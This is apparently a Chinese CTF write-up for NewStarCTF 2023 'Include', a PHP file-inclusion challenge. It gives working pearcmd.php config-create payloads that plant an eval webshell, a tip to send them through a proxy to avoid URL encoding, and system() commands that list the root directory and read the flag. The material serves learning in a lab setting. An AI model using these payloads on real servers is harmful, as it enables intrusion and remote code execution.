[NewStarCTF 2023]Include--详细解析
信息搜集
进入靶机,界面回显代码:
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
要我们GET传参file,且对参数的值进行了过滤。
最终执行的是include()函数。
提示我们Something in phpinfo.php!
,那我们就先尝试包含这个文件看看。
register_argc_argv
是开着的,可以对pearcmd.php文件进行包含利用。
文件包含
对于文件包含漏洞,我们一般先考虑使用php伪协议进行 文件的读取 或 恶意代码的写入。
但是这里过滤了filter、input、data,切断了我们使用伪协议包含的方法。
伪协议不能使用,我们又会想到利用日志文件。
通过包含日志文件的方式,将我们的恶意代码写入日志文件中并执行。
无论是Apache还是nginx,日志文件都叫做access.log
,但是这里过滤了log,所有我们也不能使用包含日志文件的方法。
那么我们又会想到使用session条件竞争,这里过滤了session,也不考虑。
学习新知识点:
对pearcmd.php文件的包含利用
该文件的位置在 /usr/share/php/pearcmd.php 或 /usr/local/lib/php/pearcmd
payload如下:
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
config-create是pearcmd.php的参数,用于创建默认配置文件。
这里是先包含了pearcmd.php
文件,
然后将一句话木马<?=eval($_POST[1])?>
写入了/var/www/html/shell.php
位置。
/usr/local/etc/php
这里我用了第二个payload,成功包含并写入shell文件,回显如下:
然后我们访问shell.php文件,就能进行RCE了
但是发现我们传入的一句话木马并没有被成功解析,而是被输出在了界面上。
这一步卡了好久,最后发现是要bp抓包上传
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
不然直接在搜索框传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码。
现在我们再访问shell.php文件就能正常进行RCE了。
先查目录,发现flag目录:
1=system("ls /");
得到flag:
1=system("cat /flag");
总结:
学到了文件包含的新姿势:对pearcmd.php文件的包含利用。
现在的水平还不足以搞懂原理,只是能使用了,等水平高一点再尝试搞明白吧。
在搜索框传参PHP代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析。
所以以后需要通过传参上传php代码时,使用抓包程序进行上传,防止被编码。